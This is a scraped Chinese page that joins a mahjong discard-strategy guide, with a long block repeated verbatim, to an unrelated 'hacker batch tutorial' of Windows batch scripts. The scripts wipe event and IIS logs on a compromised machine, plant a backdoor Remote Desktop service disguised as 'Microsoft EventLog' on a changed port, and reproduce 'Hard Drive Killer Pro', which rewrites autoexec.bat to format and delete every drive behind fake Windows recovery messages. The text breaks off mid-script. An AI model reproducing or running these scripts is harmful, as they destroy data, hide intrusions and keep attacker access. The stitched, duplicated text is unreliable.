第六、舍牌可放铳成全他人食用;
第七、舍牌可迷惑他人,使自己食和;
尤其是打新潮麻将,你舍牌精明,不点炮,既使别人和了88分值的大四喜、大三元,而你也只丢了8分。所以只要舍得精,不点炮或少点炮,再和上几把高番牌,大概就能稳操胜券。
1.初期舍牌走单张
初期舍牌大体上为一至四五巡。起手13张配牌,各家都不同程度地起几个长单张的风箭牌、么九牌和中张的荡张。这个阶段的舍牌顺序,一般是:风箭牌、么九牌和中张的荡张牌。牌战初期,一般是先舍单张的风、箭牌。打字牌的技巧是:先打风,后打箭。打风的次序是:先打客风,后打圈风和本门风,最后打中、发、白,也可以把本门风放在箭牌的后面打。如果起手配牌时,风箭牌就有八九张之多,且又有三对,就要留下,而奔“字一色”或“大小三元”、“大小四喜”或“全不靠”、“七星不靠”或“混一色”高、中番种去努力。
2.么九牌的去与留
行张时,如无风箭闲张,或已把风箭闲张打完情况下,万子、条子和筒子的中张(2至8色点)容易抓入靠张,不便先打(但设计牌局时,考虑到“清缺”、“混缺”及“缺一门”者除外),一般先把手中的么与九闲张打掉,因为么、九闲张各据首尾,抓靠张的机会比中张少一倍,所以在牌桌上,紧接风、箭之后,各家多都打么、九闲张。大凡起牌后,出牌不是风箭,也没有么九,出手就见中张或边张,说明这家牌局较佳或设计十三不靠,其余三家行张时,须多加提防。对于么九闲张的打法,也并非没有先后,常有以下几种情况:
(l)对设计“清缺”、“混缺”、及“缺一门”的牌家来说,应首先打掉不需要的门类中的么与九;
(2)在牌局中,现有的牌副、搭子或对子都以中张组成的,那么设计牌局时,必顺考虑“断么”的可能性,无论哪门的么、九牌,均可打掉;如果牌局中搭子和对子较多,准备依靠吃、碰、抓来组副,考虑留下一张尚未见面的么或九的荡张作单钓叫牌,成和希望就较大。所以,此种情况的么、九取舍,就要视牌局发展而定了;
(3)如果牌副里已有l、2、3或者7、8、9的顺子副,那么,再打么、九闲张时,应与设计的“一般高”、“姐妹花”作一权衡,是打是留?先后次序都要统筹考虑;
(4)对于牌局组成的后期,在原有边张搭子8、9的基础上,抓进同类牌6时,即应打9留6,成6、8嵌搭。小头也一样,如在原有边张搭子l、2基础上,抓进同类牌4时,也应打‘么”留个成2、4嵌搭。
(5)凡属设计十三不靠牌局,除留箭风外,对于万子、条子和筒子,诚然保留么、九最佳,中间不靠牌张可扩展到4、5或6,进张副度拓宽,利于上张成和,诚然,这时的么九闲张,非但不能打掉,仍应视为牌张中的上乘了。中张,一旦上张成对,即好牌局中上乘的麻将头。类似这样的中张,闲而有用,当然在行张中是不会轻易舍出的。
3.中盘舍牌观三家
中盘阶段是作战激烈、紧张的阶段,一取一舍都关系到胜败,所以每舍一张牌都必须真正地把握住安全关,尽量做到所舍的牌让下家没有吃的、让别家没有碰的机会,更不能让别家有成和的可能。麻将实战中,牌势只要进入中盘阶段,各家的手牌无时不在起变化,摸打一至二巡牌
后,以前的熟张在这个时候可能已经成为生张了,以前认为是安全牌,现在很有可能成为危险牌,此时若舍出不是被下家吃起,就是被其余的家成和,真是隔巡如生张,旧安变新危。麻将的舍牌要根据牌面和牌桌上的变化来制定对策及战略战术,做到看上家、默下家
、盯对家。看上家。也就是应看明白上家打出什么样的花色牌,吃起、碰起什么花色的牌。因为他所吃、所碰之牌,即是他手中需要的花色;打出的牌,也是你可以吃起、碰起的花色。这样,你可判断出你自己应保留什么样的花色,才有迅速吃、碰牌的机会。如果你手中的花色,也是上家想留存、没有舍出来的,自然你就没有办法靠吃碰牌来迅速组合手中牌阵了。默下家。与看上家相反,下家正想靠你手中打出的牌来判断自己手牌中的去留。若你会出的牌,多是下家正想吃起的,那他当然就会很快地吃成一副一副的牌摊开亮出,并且叫听。故在打牌时,尽量不使下家能吃上自己舍出去的牌,就成了十分重要的思考内容。盯对家。既看上家、默下家,也必须盯住对家,这样三家人需要什么花色的牌,甚至可能需要什么牌点也在你预料之中,知己知彼,方能百战百胜。对于自己,要做什么花色的牌,成什么样的和对自己有利,必须考虑周密,这样才能一举成功。
第二、舍牌可决定各家战术的运用;
第三、舍牌可促进他人入听的升级;
第四、舍牌可破坏他人的战略部署;
第五、舍牌又能牵制他人的牌势;
第六、舍牌可放铳成全他人食用;
第七、舍牌可迷惑他人,使自己食和;
尤其是打新潮麻将,你舍牌精明,不点炮,既使别人和了88分值的大四喜、大三元,而你也只丢了8分。所以只要舍得精,不点炮或少点炮,再和上几把高番牌,大概就能稳操胜券。
1.初期舍牌走单张
初期舍牌大体上为一至四五巡。起手13张配牌,各家都不同程度地起几个长单张的风箭牌、么九牌和中张的荡张。这个阶段的舍牌顺序,一般是:风箭牌、么九牌和中张的荡张牌。牌战初期,一般是先舍单张的风、箭牌。打字牌的技巧是:先打风,后打箭。打风的次序是:先打客风,后打圈风和本门风,最后打中、发、白,也可以把本门风放在箭牌的后面打。如果起手配牌时,风箭牌就有八九张之多,且又有三对,就要留下,而奔“字一色”或“大小三元”、“大小四喜”或“全不靠”、“七星不靠”或“混一色”高、中番种去努力。
2.么九牌的去与留
行张时,如无风箭闲张,或已把风箭闲张打完情况下,万子、条子和筒子的中张(2至8色点)容易抓入靠张,不便先打(但设计牌局时,考虑到“清缺”、“混缺”及“缺一门”者除外),一般先把手中的么与九闲张打掉,因为么、九闲张各据首尾,抓靠张的机会比中张少一倍,所以在牌桌上,紧接风、箭之后,各家多都打么、九闲张。大凡起牌后,出牌不是风箭,也没有么九,出手就见中张或边张,说明这家牌局较佳或设计十三不靠,其余三家行张时,须多加提防。对于么九闲张的打法,也并非没有先后,常有以下几种情况:
(l)对设计“清缺”、“混缺”、及“缺一门”的牌家来说,应首先打掉不需要的门类中的么与九;
(2)在牌局中,现有的牌副、搭子或对子都以中张组成的,那么设计牌局时,必顺考虑“断么”的可能性,无论哪门的么、九牌,均可打掉;如果牌局中搭子和对子较多,准备依靠吃、碰、抓来组副,考虑留下一张尚未见面的么或九的荡张作单钓叫牌,成和希望就较大。所以,此种情况的么、九取舍,就要视牌局发展而定了;
(3)如果牌副里已有l、2、3或者7、8、9的顺子副,那么,再打么、九闲张时,应与设计的“一般高”、“姐妹花”作一权衡,是打是留?先后次序都要统筹考虑;
(4)对于牌局组成的后期,在原有边张搭子8、9的基础上,抓进同类牌6时,即应打9留6,成6、8嵌搭。小头也一样,如在原有边张搭子l、2基础上,抓进同类牌4时,也应打‘么”留个成2、4嵌搭。
(5)凡属设计十三不靠牌局,除留箭风外,对于万子、条子和筒子,诚然保留么、九最佳,中间不靠牌张可扩展到4、5或6,进张副度拓宽,利于上张成和,诚然,这时的么九闲张,非但不能打掉,仍应视为牌张中的上乘了。中张,一旦上张成对,即好牌局中上乘的麻将头。类似这样的中张,闲而有用,当然在行张中是不会轻易舍出的。
3.中盘舍牌观三家
中盘阶段是作战激烈、紧张的阶段,一取一舍都关系到胜败,所以每舍一张牌都必须真正地把握住安全关,尽量做到所舍的牌让下家没有吃的、让别家没有碰的机会,更不能让别家有成和的可能。麻将实战中,牌势只要进入中盘阶段,各家的手牌无时不在起变化,摸打一至二巡牌
后,以前的熟张在这个时候可能已经成为生张了,以前认为是安全牌,现在很有可能成为危险牌,此时若舍出不是被下家吃起,就是被其余的家成和,真是隔巡如生张,旧安变新危。麻将的舍牌要根据牌面和牌桌上的变化来制定对策及战略战术,做到看上家、默下家
、盯对家。看上家。也就是应看明白上家打出什么样的花色牌,吃起、碰起什么花色的牌。因为他所吃、所碰之牌,即是他手中需要的花色;打出的牌,也是你可以吃起、碰起的花色。这样,你可判断出你自己应保留什么样的花色,才有迅速吃、碰牌的机会。如果你手中的花色,也是上家想留存、没有舍出来的,自然你就没有办法靠吃碰牌来迅速组合手中牌阵了。默下家。与看上家相反,下家正想靠你手中打出的牌来判断自己手牌中的去留。若你会出的牌,多是下家正想吃起的,那他当然就会很快地吃成一副一副的牌摊开亮出,并且叫听。故在打牌时,尽量不使下家能吃上自己舍出去的牌,就成了十分重要的思考内容。盯对家。既看上家、默下家,也必须盯住对家,这样三家人需要什么花色的牌,甚至可能需要什么牌点也在你预料之中,知己知彼,方能百战百胜。对于自己,要做什么花色的牌,成什么样的和对自己有利,必须考虑周密,这样才能一举成功。
作者: q8805506q 2008-6-17 11:19 回复此发言
--------------------------------------------------------------------------------
5 打麻将的技巧
4.终盘舍牌防点炮
终盘阶段是大家短兵相接、交锋决斗定胜负的阶段,丝毫不能疏忽大意。进人终盘阶段,有以下两种情况:一是四人中的两人或一人,依然保持着听牌,窥机食和。但因牌势的发展趋平,只好强行打牌,应酬战局。其他的各家均以防御为主,最后以少失分而收场。二是四人继续互相牵制,打出安全牌。事实上,其中一人或两人,早已放弃听牌,采取少失分的作战方案。凡是牌坛高手的对阵,这种局势并不是少见的,与初手者聚桌娱乐,推倒食和大不相同。设想,牌桌上有一或两名低手,欲使战局发展到终盘阶段,似乎是不可能的。下面谈谈几种牌的情况处理
①放炮危险牌
这里说的危险牌,是指将其放出后使他家成和的绝对危险牌。当牌局进入中盘阶段后期,对于任何舍牌,都充满着重重危险。实际上,有些牌在众多场合下,并非危险牌,但是感觉上又认为不是安全牌,这就是被放炮的KB观念影响所致。所以在这期间,每舍一张牌对旁家来说都不可能是安全牌,那么如何处理这些危险牌,需要进一步地探讨。除了绝对安全牌以外(如字牌东碰出,又摸入第四张),其他牌多少总带点危险性。现在就以放炮的危险牌为焦点,观察该点的变化。
第一:放炮危险牌是指对方已经听张后所要的牌,一旦出现,即可成和。假如现在手中有某张牌,并非直接放炮的危险牌,但由于这张牌被对方碰而导致他完成大番的听张状态,那么这张牌应视为放炮危险牌。
第二:如能看准对方在中盘战后期的番台状况,那么凡与其番台无关的种类牌,一大体上可算作安全牌。
第三:放炮危险有时可从各家舍牌相的途径来推测,切舍种类少的牌,危险性大,尤其是生张牌,放炮危险性更大。
第四:自己手牌中的暗坎和该同一线上的牌,是放炮的危险牌。例如手牌中有暗坎3条3张和6条1张,当桌面上一直没有出现这样的牌时,就可能有人听张的叫牌是3、6条,而他和牌的叫牌张数有二分之一把握在你的手中,这样就能极大程度地阻止他人获胜。
②高度危险牌的舍法
知道是放炮牌,谁也不会往外打。但是,如遇怀疑性的高度危险牌,就要看舍牌者的胆量和到底对该局牌的胜负抱什么样的期望而定了。自中盘阶段后期到终盘阶段,如自己的手牌没有可能构成多番牌姿,而对方的手牌颇有多番形态的预兆时,最好死了心不和,不打危险牌,甚至拆掉面子安全牌,以度过最后一两巡的摸牌难关,直到黄牌。
③放炮牌的处理方法
第一:编入组合面子。牌局到了终盘期,既然放炮牌不能打,也不能孤单单地留在手牌里,妨碍自己和牌。这样,最好将放炮危险牌编到手牌牌面中去,这是最安全而且是最有利的战法。因为这样一来,这张放炮危险牌的左右联络牌也都打上了保险系数,均不会轻易舍出,使危险性大大减少。
第二:立即退出胜负圈。麻将牌竞技中,能当机立断地退出胜负圈的做法,是极为明智的。尤其是多门听牌的牌姿,明知摸入危险牌,但惟恐扰乱了成形的牌势,却执意舍出,奢望侥幸过关。殊不知这样战法将会胜败立见,决无放炮与过关的五五开之说。
第三:没有安全牌的困惑。在形形色色的牌姿中,常出现有人觉得手牌中没有安全牌可打的窘迫感。诚然,这是人为造成的,大体上可分为两种类型:其一,手牌中显露的朋组过多,饥不择食地见吃就吃、得碰便碰,既无算计,又不顾及战略,结果手牌相对减少,周旋余地缩小了,调整面也窄了。手头仅有几张牌,即出现没有安全牌可打的情况,以致给自己带来很大的困惑,甚至有放炮的危险。其二,虽然呈现未吃未碰的门前清状况,但一手13张牌仍觉得没有安全牌可打,这其实是恐惧心理。照常规战法,手牌中没有安全牌的说法是不切实际的。以三家对手均已听牌而言,每家通常是两门听,也就是说三家合计叫听六种待牌而已。这对门前清的13张手牌来说,至少手头上还有一半以上的牌是安全牌。即使手牌少的人,也不见得张张与他人叫听的待牌分毫不差。问题在于是否愿意舍听而后退一步,是否懂得计算舍牌相。所以,
打出一张牌是不是安全,须凭技术高低去审定。
- 作者: pegasus827 2008年07月9日, 星期三 22:51 回复(0) | 引用(0) 加入博采
黑客批处理教程(四)实例
六.精彩实例放送。
1.删除win2k/xp系统默认共享的批处理
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author:Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF
:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.
:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------
------------------------ cut here then save as .bat or .cmd file ---------------------------
下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]
@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [禁止一些危险的服务。]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp >>patch.dll
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路]
3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, dont worry about how it
rem works, its d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then its true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if its errorlevel 1, then the specified drive is a hard or floppy drive.
rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of de